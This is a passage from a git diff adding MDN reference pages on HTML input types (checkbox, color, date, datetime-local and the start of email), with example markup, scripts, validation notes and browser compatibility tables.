+for (const ingredient of ingredients) {
+  ingredient.addEventListener("click", updateDisplay);
+}
+
+function updateDisplay() {
+  let checkedCount = 0;
+  for (const ingredient of ingredients) {
+    if (ingredient.checked) {
+      checkedCount++;
+    }
+  }
+
+  if (checkedCount === 0) {
+    overall.checked = false;
+    overall.indeterminate = false;
+  } else if (checkedCount === ingredients.length) {
+    overall.checked = true;
+    overall.indeterminate = false;
+  } else {
+    overall.checked = false;
+    overall.indeterminate = true;
+  }
+}
+
+
+

Note: If you submit a form with an indeterminate checkbox, the same thing happens as if the checkbox were unchecked — no data is submitted to represent the checkbox.

+
+

Validation

+

Checkboxes do support validation (offered to all <input>s). However, most of the ValidityStates will always be false. If the checkbox has the required attribute, but is not checked, then ValidityState.valueMissing will be true.

+

Examples

+

The following example is an extended version of the "multiple checkboxes" example we saw above — it has more standard options, plus an "other" checkbox that when checked causes a text field to appear to enter a value for the "other" option. This is achieved with a simple block of JavaScript. The example includes implicit labels, with the <input> directly inside the <label>. The text input, without a visible label, includes the aria-label attribute which provides its accessible name. This example also includes some CSS to improve the styling.

+

HTML

+
+

html

+
<form>
+  <fieldset>
+    <legend>Choose your interests</legend>
+    <div>
+      <label>
+        <input type="checkbox" id="coding" name="interest" value="coding" />
+        Coding
+      </label>
+    </div>
+    <div>
+      <label>
+        <input type="checkbox" id="music" name="interest" value="music" />
+        Music
+      </label>
+    </div>
+    <div>
+      <label>
+        <input type="checkbox" id="art" name="interest" value="art" />
+        Art
+      </label>
+    </div>
+    <div>
+      <label>
+        <input type="checkbox" id="sports" name="interest" value="sports" />
+        Sports
+      </label>
+    </div>
+    <div>
+      <label>
+        <input type="checkbox" id="cooking" name="interest" value="cooking" />
+        Cooking
+      </label>
+    </div>
+    <div>
+      <label>
+        <input type="checkbox" id="other" name="interest" value="other" />
+        Other
+      </label>
+      <input
+        type="text"
+        id="otherValue"
+        name="other"
+        aria-label="Other interest" />
+    </div>
+    <div>
+      <button type="submit">Submit form</button>
+    </div>
+  </fieldset>
+</form>
+
+
+

CSS

+
+

css

+
html {
+  font-family: sans-serif;
+}
+
+form {
+  width: 600px;
+  margin: 0 auto;
+}
+
+div {
+  margin-bottom: 10px;
+}
+
+fieldset {
+  background: cyan;
+  border: 5px solid blue;
+}
+
+legend {
+  padding: 10px;
+  background: blue;
+  color: cyan;
+}
+
+
+

JavaScript

+
+
+

js

+
const otherCheckbox = document.querySelector("#other");
+const otherText = document.querySelector("#otherValue");
+otherText.style.visibility = "hidden";
+
+otherCheckbox.addEventListener("change", () => {
+  if (otherCheckbox.checked) {
+    otherText.style.visibility = "visible";
+    otherText.value = "";
+  } else {
+    otherText.style.visibility = "hidden";
+  }
+});
+
+
+
+ + +
+
+

Technical summary

+
Value A string representing the value of the checkbox.
Events +change and input +
Supported common attributes checked
IDL attributes checked, indeterminate and value
DOM interface

HTMLInputElement
Methods select()
Implicit ARIA Role checkbox
+

Specifications

+
+ + +
Specification
HTML Standard
# checkbox-state-(type=checkbox)
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
checkbox1121Yes1514.41841411.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/checkbox +

+
diff --git a/devdocs/html/element%2Finput%2Fcolor.html b/devdocs/html/element%2Finput%2Fcolor.html new file mode 100644 index 00000000..14899425 --- /dev/null +++ b/devdocs/html/element%2Finput%2Fcolor.html @@ -0,0 +1,206 @@ +

<input type="color">

+

<input> elements of type color provide a user interface element that lets a user specify a color, either by using a visual color picker interface or by entering the color into a text field in #rrggbb hexadecimal format.

Only simple colors (without alpha channel) are allowed though CSS colors has more formats, e.g. color names, functional notations and a hexadecimal format with an alpha channel.

The element's presentation may vary substantially from one browser and/or platform to another—it might be a simple textual input that automatically validates to ensure that the color information is entered in the proper format, or a platform-standard color picker, or some kind of custom color picker window.

+
+

Try it

+
+

Value

+
+

The value of an <input> element of type color is always a string which contains a 7-character string specifying an RGB color in hexadecimal format. While you can input the color in either upper- or lower-case, it will be stored in lower-case form. The value is never in any other form, and is never empty.

Note: Setting the value to anything that isn't a valid, fully-opaque, RGB color in hexadecimal notation will result in the value being set to #000000. In particular, you can't use CSS's standardized color names, or any CSS function syntax, to set the value. This makes sense when you keep in mind that HTML and CSS are separate languages and specifications. In addition, colors with an alpha channel are not supported; specifying a color in 9-character hexadecimal notation (e.g. #009900aa) will also result in the color being set to #000000.

+
+

Using color inputs

+

Inputs of type color are simple, due to the limited number of attributes they support.

+

Providing a default color

+
+

You can update the simple example above to set a default value, so that the color picker is pre-filled with the default color and the color picker (if any) will also default to that color:

+

html

+
<input type="color" value="#ff0000" />
+
+
+
+ + +

If you don't specify a value, the default is #000000, which is black. The value must be in seven-character hexadecimal notation, meaning the "#" character followed by two digits each representing red, green, and blue, like this: #rrggbb. If you have colors that are in any other format (such as CSS color names or CSS color functions such as rgb() or rgba()), you'll have to convert them to hexadecimal before setting the value.

+
+

Tracking color changes

+
+

As is the case with other <input> types, there are two events that can be used to detect changes to the color value: input and change. input is fired on the <input> element every time the color changes. The change event is fired when the user dismisses the color picker. In both cases, you can determine the new value of the element by looking at its value.

Here's an example that watches changes over time to the color value:

+

js

+
colorPicker.addEventListener("input", updateFirst, false);
+colorPicker.addEventListener("change", watchColorPicker, false);
+
+function watchColorPicker(event) {
+  document.querySelectorAll("p").forEach((p) => {
+    p.style.color = event.target.value;
+  });
+}
+
+
+
+

Selecting the value

+
+

When a browser doesn't support a color picker interface, its implementation of color inputs will be a text box that validates the contents automatically to ensure that the value is in the correct format. In this case you can use the select() method to select the text currently in the edit field.

If the browser instead uses a color picker, select() does nothing. You should be aware of this behavior so your code can respond appropriately in either case.

+

js

+
colorPicker.select();
+
+
+
+

Validation

+

A color input's value is considered to be invalid if the user agent is unable to convert the user's input into seven-character lower-case hexadecimal notation. If and when this is the case, the :invalid pseudo-class is applied to the element.

+

Example

+

Let's create an example which does a little more with the color input by tracking the change and input events to take the new color and apply it to every <p> element in the document.

+

HTML

+
+

The HTML is fairly straightforward — a couple of paragraphs of descriptive material with an <input> of type color with the ID color-picker, which we'll use to change the color of the paragraphs' text.

+

html

+
<p>
+  An example demonstrating the use of the
+  <code>&lt;input type="color"&gt;</code> control.
+</p>
+
+<label for="color-picker">Color:</label>
+<input type="color" value="#ff0000" id="color-picker" />
+
+<p>
+  Watch the paragraph colors change when you adjust the color picker. As you
+  make changes in the color picker, the first paragraph's color changes, as a
+  preview (this uses the <code>input</code> event). When you close the color
+  picker, the <code>change</code> event fires, and we detect that to change
+  every paragraph to the selected color.
+</p>
+
+
+
+

JavaScript

+
+

First, there's some setup. Here we establish some variables, setting up a variable that contains the color we'll set the color picker to when we first load up, and then setting up a load handler to do the main startup work once the page is fully loaded.

+

js

+
let colorPicker;
+const defaultColor = "#0000ff";
+
+window.addEventListener("load", startup, false);
+
+

Initialization

Once the page is loaded, our load event handler, startup(), is called:

+

js

+
function startup() {
+  colorPicker = document.querySelector("#color-picker");
+  colorPicker.value = defaultColor;
+  colorPicker.addEventListener("input", updateFirst, false);
+  colorPicker.addEventListener("change", updateAll, false);
+  colorPicker.select();
+}
+
+

This gets a reference to the color <input> element in a variable called colorPicker, then sets the color input's value to the value in defaultColor. Then the color input's input event is set up to call our updateFirst() function, and the change event is set to call updateAll(). These are both seen below.

Finally, we call select() to select the text content of the color input if the control is implemented as a text field (this has no effect if a color picker interface is provided instead).

Reacting to color changes

We provide two functions that deal with color changes. The updateFirst() function is called in response to the input event. It changes the color of the first paragraph element in the document to match the new value of the color input. Since input events are fired every time an adjustment is made to the value (for example, if the brightness of the color is increased), these will happen repeatedly as the color picker is used.

+

js

+
function updateFirst(event) {
+  const p = document.querySelector("p");
+  if (p) {
+    p.style.color = event.target.value;
+  }
+}
+
+

When the color picker is dismissed, indicating that the value will not change again (unless the user re-opens the color picker), a change event is sent to the element. We handle that event using the updateAll() function, using Event.target.value to obtain the final selected color:

+

js

+
function updateAll(event) {
+  document.querySelectorAll("p").forEach((p) => {
+    p.style.color = event.target.value;
+  });
+}
+
+

This sets the color of every <p> block so that its color attribute matches the current value of the color input, which is referred to using event.target.

+
+

Result

+
+

The final result looks like this:

+
+ + +
+
+

Technical summary

+
Value A 7-character string specifying a <color> in lower-case hexadecimal notation
Events change and input
Supported common attributes autocomplete and list
IDL attributes +list and value +
DOM interface

HTMLInputElement
Methods select()
Implicit ARIA Role no corresponding role
+

Specifications

+
+ + +
Specification
HTML Standard
# color-state-(type=color)
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
color201429No1212.14.425
27Firefox for Android doesn't allow the user to choose a custom color, only one of the predefined ones.
1212.21.5
autocomplete2014NoNo15No4.425No14No1.5
list2014
110The list attribute is supported in Firefox for Windows and Linux. See bug 960984.
No1512.14.425No1412.21.5
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/color +

+
diff --git a/devdocs/html/element%2Finput%2Fdate.html b/devdocs/html/element%2Finput%2Fdate.html new file mode 100644 index 00000000..8683b8e9 --- /dev/null +++ b/devdocs/html/element%2Finput%2Fdate.html @@ -0,0 +1,390 @@ +

<input type="date">

+

<input> elements of type="date" create input fields that let the user enter a date, either with a textbox that validates the input or a special date picker interface.

The resulting value includes the year, month, and day, but not the time. The time and datetime-local input types support time and date+time input.

+
+

Try it

+
+

The input UI generally varies from browser to browser; see Browser compatibility for further details. In unsupported browsers, the control degrades gracefully to <input type="text">.

+
+

Value

+
+

A string representing the date entered in the input. The date is formatted according to Date strings format.

You can set a default value for the input with a date inside the value attribute, like so:

+

html

+
<input type="date" value="2017-06-01" />
+
+
+
+ + +

Note: The displayed date format will differ from the actual value — the displayed date is formatted based on the locale of the user's browser, but the parsed value is always formatted yyyy-mm-dd.

You can get and set the date value in JavaScript with the HTMLInputElement value and valueAsNumber properties. For example:

+

js

+
const dateControl = document.querySelector('input[type="date"]');
+dateControl.value = "2017-06-01";
+console.log(dateControl.value); // prints "2017-06-01"
+console.log(dateControl.valueAsNumber); // prints 1496275200000, a JavaScript timestamp (ms)
+
+

This code finds the first <input> element whose type is date, and sets its value to 2017-06-01 (June 1st, 2017). It then reads that value back in string and number formats.

+
+

Additional attributes

+

The attributes common to all <input> elements apply to the date inputs as well, but might not influence its presentation. For example size and placeholder might not work. date inputs have the following additional attributes.

+

max

+
+

The latest date to accept. If the value entered into the element occurs afterward, the element fails constraint validation. If the value of the max attribute isn't a possible date string in the format yyyy-mm-dd, then the element has no maximum date value.

If both the max and min attributes are set, this value must be a date string later than or equal to the one in the min attribute.

+
+

min

+
+

The earliest date to accept. If the value entered into the element occurs beforehand, the element fails constraint validation. If the value of the min attribute isn't a possible date string in the format yyyy-mm-dd, then the element has no minimum date value.

If both the max and min attributes are set, this value must be a date string earlier than or equal to the one in the max attribute.

+
+

step

+
+

The step attribute is a number that specifies the granularity that the value must adhere to, or the special value any, which is described below. Only values which are equal to the basis for stepping (min if specified, value otherwise, and an appropriate default value if neither of those is provided) are valid.

A string value of any means that no stepping is implied, and any value is allowed (barring other constraints, such as min and max).

Note: When the data entered by the user doesn't adhere to the stepping configuration, the user agent may round to the nearest valid value, preferring numbers in the positive direction when there are two equally close options.

For date inputs, the value of step is given in days; and is treated as a number of milliseconds equal to 86,400,000 times the step value (the underlying numeric value is in milliseconds). The default value of step is 1, indicating 1 day.

Note: Specifying any as the value for step has the same effect as 1 for date inputs.

+
+

Using date inputs

+
+

Date inputs provide an easy interface for choosing dates, and they normalize the data format sent to the server regardless of the user's locale.

In this section, we'll look at basic and then more complex uses of <input type="date">.

+
+

Basic uses of date

+
+

The simplest use of <input type="date"> involves one <input> combined with its <label>, as seen below:

+

html

+
<form action="https://example.com">
+  <label>
+    Enter your birthday:
+    <input type="date" name="bday" />
+  </label>
+
+  <p><button>Submit</button></p>
+</form>
+
+
+
+ + +

This HTML submits the entered date under the key bday to https://example.com — resulting in a URL like https://example.com/?bday=1955-06-08.

+
+

Setting maximum and minimum dates

+
+

You can use the min and max attributes to restrict the dates that can be chosen by the user. In the following example, we set a minimum date of 2017-04-01 and a maximum date of 2017-04-30:

+

html

+
<form>
+  <label>
+    Choose your preferred party date:
+    <input type="date" name="party" min="2017-04-01" max="2017-04-30" />
+  </label>
+</form>
+
+
+
+ + +

The result is that only days in April 2017 can be selected — the month and year parts of the textbox will be uneditable, and dates outside April 2017 can't be selected in the picker widget.

Note: You should be able to use the step attribute to vary the number of days jumped each time the date is incremented (e.g. to only make Saturdays selectable). However, this does not seem to be in any implementation at the time of writing.

+
+

Controlling input size

+

<input type="date"> doesn't support form sizing attributes such as size. Prefer CSS for sizing it.

+

Validation

+
+

By default, <input type="date"> doesn't validate the entered value beyond its format. The interfaces generally don't let you enter anything that isn't a date — which is helpful — but you can leave the field empty or enter an invalid date in browsers where the input falls back to type text (like the 32nd of April).

If you use min and max to restrict the available dates (see Setting maximum and minimum dates), supporting browsers will display an error if you try to submit a date that is out of bounds. However, you'll need to double-check the submitted results to ensure the value is within these dates, if the date picker isn't fully supported on the user's device.

You can also use the required attribute to make filling in the date mandatory — an error will be displayed if you try to submit an empty date field. This should work in most browsers, even if they fall back to a text input.

Let's look at an example of minimum and maximum dates, and also made a field required:

+

html

+
<form>
+  <label>
+    Choose your preferred party date (required, April 1st to 20th):
+    <input
+      type="date"
+      name="party"
+      min="2017-04-01"
+      max="2017-04-20"
+      required />
+    <span class="validity"></span>
+  </label>
+
+  <p>
+    <button>Submit</button>
+  </p>
+</form>
+
+

If you try to submit the form with an incomplete date (or with a date outside the set bounds), the browser displays an error. Try playing with the example now:

+
+ + +

Here's the CSS used in the above example. We make use of the :valid and :invalid pseudo-elements to add an icon next to the input, based on whether the current value is valid. We had to put the icon on a <span> next to the input, not on the input itself, because in Chrome at least the input's generated content is placed inside the form control, and can't be styled or shown effectively.

+

css

+
label {
+  display: flex;
+  align-items: center;
+}
+
+span::after {
+  padding-left: 5px;
+}
+
+input:invalid + span::after {
+  content: "✖";
+}
+
+input:valid + span::after {
+  content: "✓";
+}
+
+

Warning: Client-side form validation is no substitute for validating on the server. It's easy for someone to modify the HTML, or bypass your HTML entirely and submit the data directly to your server. If your server fails to validate the received data, disaster could strike with data that is badly-formatted, too large, of the wrong type, etc.

+
+

Handling browser support

+
+

Browsers that don't support this input type gracefully degrade to a text input, but this creates problems in consistency of user interface (the presented controls are different) and data handling.

The second problem is the more serious one; with date input supported, the value is normalized to the format yyyy-mm-dd. But with a text input, the browser has no recognition of what format the date should be in, and there are many formats in which people write dates. For example:

One way around this is the pattern attribute on your date input. Even though the date picker doesn't use it, the text input fallback will. For example, try viewing the following in an unsupporting browser:

+

html

+
<form>
+  <label>
+    Enter your birthday:
+    <input type="date" name="bday" required pattern="\d{4}-\d{2}-\d{2}" />
+    <span class="validity"></span>
+  </label>
+  <p>
+    <button>Submit</button>
+  </p>
+</form>
+
+
+
+ + +

If you submit it, you'll see that the browser displays an error and highlights the input as invalid if your entry doesn't match the pattern ####-##-## (where # is a digit from 0 to 9). Of course, this doesn't stop people from entering invalid dates, or incorrect formats. So we still have a problem.

At the moment, the best way to deal with dates in forms in a cross-browser way is to have the user enter the day, month, and year in separate controls, or to use a JavaScript library such as jQuery date picker.

+
+

Examples

+
+

In this example, we create 2 sets of UI elements for choosing dates: a native <input type="date"> picker and a set of 3 <select> elements for older browsers that don't support the native date input.

+
+ + +
+
+

HTML

+
+

The HTML looks like so:

+

html

+
<form>
+  <div class="nativeDatePicker">
+    <label for="bday">Enter your birthday:</label>
+    <input type="date" id="bday" name="bday" />
+    <span class="validity"></span>
+  </div>
+  <p class="fallbackLabel">Enter your birthday:</p>
+  <div class="fallbackDatePicker">
+    <span>
+      <label for="day">Day:</label>
+      <select id="day" name="day"></select>
+    </span>
+    <span>
+      <label for="month">Month:</label>
+      <select id="month" name="month">
+        <option selected>January</option>
+        <option>February</option>
+        <option>March</option>
+        <option>April</option>
+        <option>May</option>
+        <option>June</option>
+        <option>July</option>
+        <option>August</option>
+        <option>September</option>
+        <option>October</option>
+        <option>November</option>
+        <option>December</option>
+      </select>
+    </span>
+    <span>
+      <label for="year">Year:</label>
+      <select id="year" name="year"></select>
+    </span>
+  </div>
+</form>
+
+

The months are hardcoded (as they are always the same), while the day and year values are dynamically generated depending on the currently selected month and year, and the current year (see the code comments below for detailed explanations of how these functions work.)

+
+

JavaScript

+
+

The other part of the code that may be of interest is the feature detection code — to detect whether the browser supports <input type="date">.

We create a new <input> element, try setting its type to date, then immediately check what its type is — unsupporting browsers will return text, because the date type falls back to type text. If <input type="date"> isn't supported, we hide the native picker and show the fallback (<select>) instead.

+

js

+
// Obtain UI widgets
+const nativePicker = document.querySelector(".nativeDatePicker");
+const fallbackPicker = document.querySelector(".fallbackDatePicker");
+const fallbackLabel = document.querySelector(".fallbackLabel");
+
+const yearSelect = document.querySelector("#year");
+const monthSelect = document.querySelector("#month");
+const daySelect = document.querySelector("#day");
+
+// hide fallback initially
+fallbackPicker.style.display = "none";
+fallbackLabel.style.display = "none";
+
+// test whether a new date input falls back to a text input or not
+const test = document.createElement("input");
+
+try {
+  test.type = "date";
+} catch (e) {
+  console.log(e.message);
+}
+
+// if it does, run the code inside the if () {} block
+if (test.type === "text") {
+  // hide the native picker and show the fallback
+  nativePicker.style.display = "none";
+  fallbackPicker.style.display = "block";
+  fallbackLabel.style.display = "block";
+
+  // populate the days and years dynamically
+  // (the months are always the same, therefore hardcoded)
+  populateDays(monthSelect.value);
+  populateYears();
+}
+
+function populateDays(month) {
+  // delete the current set of <option> elements out of the
+  // day <select>, ready for the next set to be injected
+  while (daySelect.firstChild) {
+    daySelect.removeChild(daySelect.firstChild);
+  }
+
+  // Create variable to hold new number of days to inject
+  let dayNum;
+
+  // 31 or 30 days?
+  if (
+    [
+      "January",
+      "March",
+      "May",
+      "July",
+      "August",
+      "October",
+      "December",
+    ].includes(month)
+  ) {
+    dayNum = 31;
+  } else if (["April", "June", "September", "November"].includes(month)) {
+    dayNum = 30;
+  } else {
+    // If month is February, calculate whether it is a leap year or not
+    const year = yearSelect.value;
+    const isLeap = new Date(year, 1, 29).getMonth() === 1;
+    dayNum = isLeap ? 29 : 28;
+  }
+
+  // inject the right number of new <option> elements into the day <select>
+  for (let i = 1; i <= dayNum; i++) {
+    const option = document.createElement("option");
+    option.textContent = i;
+    daySelect.appendChild(option);
+  }
+
+  // if previous day has already been set, set daySelect's value
+  // to that day, to avoid the day jumping back to 1 when you
+  // change the year
+  if (previousDay) {
+    daySelect.value = previousDay;
+
+    // If the previous day was set to a high number, say 31, and then
+    // you chose a month with less total days in it (e.g. February),
+    // this part of the code ensures that the highest day available
+    // is selected, rather than showing a blank daySelect
+    if (daySelect.value === "") {
+      daySelect.value = previousDay - 1;
+    }
+
+    if (daySelect.value === "") {
+      daySelect.value = previousDay - 2;
+    }
+
+    if (daySelect.value === "") {
+      daySelect.value = previousDay - 3;
+    }
+  }
+}
+
+function populateYears() {
+  // get this year as a number
+  const date = new Date();
+  const year = date.getFullYear();
+
+  // Make this year, and the 100 years before it available in the year <select>
+  for (let i = 0; i <= 100; i++) {
+    const option = document.createElement("option");
+    option.textContent = year - i;
+    yearSelect.appendChild(option);
+  }
+}
+
+// when the month or year <select> values are changed, rerun populateDays()
+// in case the change affected the number of available days
+yearSelect.onchange = () => {
+  populateDays(monthSelect.value);
+};
+
+monthSelect.onchange = () => {
+  populateDays(monthSelect.value);
+};
+
+//preserve day selection
+let previousDay;
+
+// update what day has been set to previously
+// see end of populateDays() for usage
+daySelect.onchange = () => {
+  previousDay = daySelect.value;
+};
+
+

Note: Remember that some years have 53 weeks in them (see Weeks per year)! You'll need to take this into consideration when developing production apps.

+
+

Technical summary

+
Value A string representing a date in YYYY-MM-DD format, or empty
Events change and input
Supported common attributes autocomplete, list, readonly, and step
IDL attributes list, value, valueAsDate, valueAsNumber.
DOM interface

HTMLInputElement
Methods select(), stepDown(), stepUp()
Implicit ARIA Role no corresponding role
+

Specifications

+
+ + +
Specification
HTML Standard
# date-state-(type=date)
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
date201257No1114.14.425571151.5
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/date +

+
diff --git a/devdocs/html/element%2Finput%2Fdatetime-local.html b/devdocs/html/element%2Finput%2Fdatetime-local.html new file mode 100644 index 00000000..e691315b --- /dev/null +++ b/devdocs/html/element%2Finput%2Fdatetime-local.html @@ -0,0 +1,211 @@ +

<input type="datetime-local">

<input> elements of type datetime-local create input controls that let the user easily enter both a date and a time, including the year, month, and day as well as the time in hours and minutes.

+

Try it

+
+

The control's UI varies in general from browser to browser. In browsers with no support, these degrade gracefully to simple <input type="text"> controls.

The control is intended to represent a local date and time, not necessarily the user's local date and time. In other words, the input allows any valid combination of year, month, day, hour, and minute—even if such a combination is invalid in the user's local time zone (such as the one hour within a daylight saving time spring-forward transition gap).

+
+

Value

+
+

A string representing the value of the date entered into the input. The format of the date and time value used by this input type is described in Local date and time strings.

You can set a default value for the input by including a date and time inside the value attribute, like so:

+

html

+
<label for="party">Enter a date and time for your party booking:</label>
+<input
+  id="party"
+  type="datetime-local"
+  name="partydate"
+  value="2017-06-01T08:30" />
+
+
+
+ + +

One thing to note is that the displayed date and time formats differ from the actual value; the displayed date and time are formatted according to the user's locale as reported by their operating system, whereas the date/time value is always formatted YYYY-MM-DDThh:mm. When the above value is submitted to the server, for example, it will look like partydate=2024-06-01T08:30.

Note: Also bear in mind that if such data is submitted via HTTP GET, the colon character will need to be escaped for inclusion in the URL parameters, e.g. partydate=2024-06-01T08%3A30. See encodeURI() for one way to do this.

You can also get and set the date value in JavaScript using the HTMLInputElement value property, for example:

+

js

+
const dateControl = document.querySelector('input[type="datetime-local"]');
+dateControl.value = "2017-06-01T08:30";
+
+
+
+

Additional attributes

+

In addition to the attributes common to all <input> elements, datetime-local inputs offer the following attributes.

+

max

+
+

The latest date and time to accept. If the value entered into the element is later than this timestamp, the element fails constraint validation. If the value of the max attribute isn't a valid string that follows the format YYYY-MM-DDThh:mm, then the element has no maximum value.

This value must specify a date string later than or equal to the one specified by the min attribute.

+
+

min

+
+

The earliest date and time to accept; timestamps earlier than this will cause the element to fail constraint validation. If the value of the min attribute isn't a valid string that follows the format YYYY-MM-DDThh:mm, then the element has no minimum value.

This value must specify a date string earlier than or equal to the one specified by the max attribute.

+
+

step

+
+

The step attribute is a number that specifies the granularity that the value must adhere to, or the special value any, which is described below. Only values which are equal to the basis for stepping (min if specified, value otherwise, and an appropriate default value if neither of those is provided) are valid.

A string value of any means that no stepping is implied, and any value is allowed (barring other constraints, such as min and max).

Note: When the data entered by the user doesn't adhere to the stepping configuration, the user agent may round to the nearest valid value, preferring numbers in the positive direction when there are two equally close options.

For datetime-local inputs, the value of step is given in seconds, with a scaling factor of 1000 (since the underlying numeric value is in milliseconds). The default value of step is 60, indicating 60 seconds (or 1 minute, or 60,000 milliseconds).

At this time, it's unclear what a value of any means for step when used with datetime-local inputs. This will be updated as soon as that information is determined.

+
+

Using datetime-local inputs

+

Date/time inputs are convenient for the developer; they provide an easy UI for choosing dates and times, and they normalize the data format sent to the server, regardless of the user's locale. However, it is important to consider your users. Don't require your users to enter data that is not needed for your app to function.

+

Controlling input size

+

<input type="datetime-local"> doesn't support form control sizing attributes such as size. You'll have to resort to CSS for customizing the sizes of these elements.

+

Setting timezones

+
+

One thing the datetime-local input type doesn't provide is a way to set the time zone and/or locale of the date/time control. This was available in the datetime input type, but this type is now obsolete, having been removed from the spec. The main reasons why this was removed are a lack of implementation in browsers and concerns over the user interface/experience. It is easier to just have a control (or controls) for setting the date/time and then deal with the locale in a separate control.

For example, if you are creating a system where the user is likely to already be logged in, with their locale already set, you could provide the timezone in a hidden input type. For example:

+

html

+
<input type="hidden" id="timezone" name="timezone" value="-08:00" />
+
+

On the other hand, if you were required to allow the user to enter a time zone along with a date/time input, you could have a <select> element to enable the user to set the right time zone by choosing a particular location from among a set of locations:

+

html

+
<select name="timezone" id="timezone">
+  <option value="Pacific/Kwajalein">Eniwetok, Kwajalein</option>
+  <option value="Pacific/Midway">Midway Island, Samoa</option>
+  <option value="Pacific/Honolulu">Hawaii</option>
+  <option value="Pacific/Marquesas">Taiohae</option>
+  <!-- and so on -->
+</select>
+
+

In either case, the date/time and time zone values would be submitted to the server as separate data points, and then you'd need to store them appropriately in the database on the server-side.

+
+

Validation

+
+

By default, <input type="datetime-local"> does not apply any validation to entered values. The UI implementations generally don't let you enter anything that isn't a date/time — which is helpful — but a user might still fill in no value and submit, or enter an invalid date and/or time (e.g. the 32nd of April).

You can use min and max to restrict the available dates (see Setting maximum and minimum dates), and you can use the required attribute to make filling in the date/time mandatory. As a result, supporting browsers will display an error if you try to submit a date that is outside the set bounds or an empty date field.

Let's look at an example; here we've set minimum and maximum date/time values, and also made the field required:

+

html

+
<form>
+  <div>
+    <label for="party">
+      Choose your preferred party date and time (required, June 1st 8.30am to
+      June 30th 4.30pm):
+    </label>
+    <input
+      id="party"
+      type="datetime-local"
+      name="partydate"
+      min="2017-06-01T08:30"
+      max="2017-06-30T16:30"
+      required />
+    <span class="validity"></span>
+  </div>
+  <div>
+    <input type="submit" value="Book party!" />
+  </div>
+</form>
+
+

If you try to submit the form with an incomplete date (or with a date outside the set bounds), the browser displays an error. Try playing with the example now:

+
+ + +

Here's the CSS used in the above example. Here we make use of the :valid and :invalid CSS properties to style the input based on whether the current value is valid. We put the icons on a <span> next to the input.

+

css

+
div {
+  margin-bottom: 10px;
+  display: flex;
+  align-items: center;
+}
+
+label {
+  display: inline-block;
+  width: 300px;
+}
+
+input:invalid + span::after {
+  content: "✖";
+  padding-left: 5px;
+}
+
+input:valid + span::after {
+  content: "✓";
+  padding-left: 5px;
+}
+
+

Warning: HTML form validation is not a substitute for scripts that ensure that the entered data is in the proper format. It's far too easy for someone to make adjustments to the HTML that allow them to bypass the validation, or to remove it entirely. It's also possible for someone to bypass your HTML entirely and submit the data directly to your server. If your server-side code fails to validate the data it receives, problems can arise when improperly-formatted data is submitted (or data that is too large, is of the wrong type, and so forth).

Note: With a datetime-local input, the date value is always normalized to the format YYYY-MM-DDThh:mm.

+
+

Examples

+ +

Basic uses of datetime-local

+
+

The simplest use of <input type="datetime-local"> involves a basic <input> and <label> element combination, as seen below:

+

html

+
<form>
+  <label for="party">Enter a date and time for your party booking:</label>
+  <input id="party" type="datetime-local" name="partydate" />
+</form>
+
+
+
+ + +
+
+

Setting maximum and minimum dates and times

+
+

You can use the min and max attributes to restrict the dates/times that can be chosen by the user. In the following example, we are setting a minimum datetime of 2024-06-01T08:30 and a maximum datetime of 2024-06-30T16:30:

+

html

+
<form>
+  <label for="party">Enter a date and time for your party booking:</label>
+  <input
+    id="party"
+    type="datetime-local"
+    name="partydate"
+    min="2024-06-01T08:30"
+    max="2024-06-30T16:30" />
+</form>
+
+
+
+ + +

Only days in June 2024 can be selected. Depending on what browser you are using, times outside the specified values might not be selectable. In other browsers, invalid dates and times are selectable but will match :invalid and :out-of-range and will fail validation.

In some browsers (Chrome and Edge), only the "days" part of the date value will be editable, and dates outside June can't be scrolled. In others (Safari), the date picker will appear to allow any date, but the value will be clamped to the valid range when a date is selected.

The valid range included all times between the min and max values; the time of day is only constrained on the first and last dates in the range.

Note: You should be able to use the step attribute to vary the number of days jumped each time the date is incremented (e.g. maybe you only want to make Saturdays selectable). However, this does not seem to work effectively in any implementation at the time of writing.

+
+

Technical summary

+
Value A string representing a date and time (in the local time zone), or empty.
Events change and input
Supported common attributes autocomplete, list, readonly, and step
IDL attributes +list, value, valueAsNumber.
DOM interface

HTMLInputElement
Methods select(), stepDown(), stepUp()
Implicit ARIA Role no corresponding role
+

Specifications

+
+ + +
Specification
HTML Standard
# local-date-and-time-state-(type=datetime-local)
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
datetime-local201293No1114.14.425931151.5
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/datetime-local +

+
diff --git a/devdocs/html/element%2Finput%2Femail.html b/devdocs/html/element%2Finput%2Femail.html new file mode 100644 index 00000000..3318f9cd --- /dev/null +++ b/devdocs/html/element%2Finput%2Femail.html @@ -0,0 +1,261 @@ +

<input type="email">

<input> elements of type email are used to let the user enter and edit an email address, or, if the multiple attribute is specified, a list of email addresses.

+

Try it

+
+

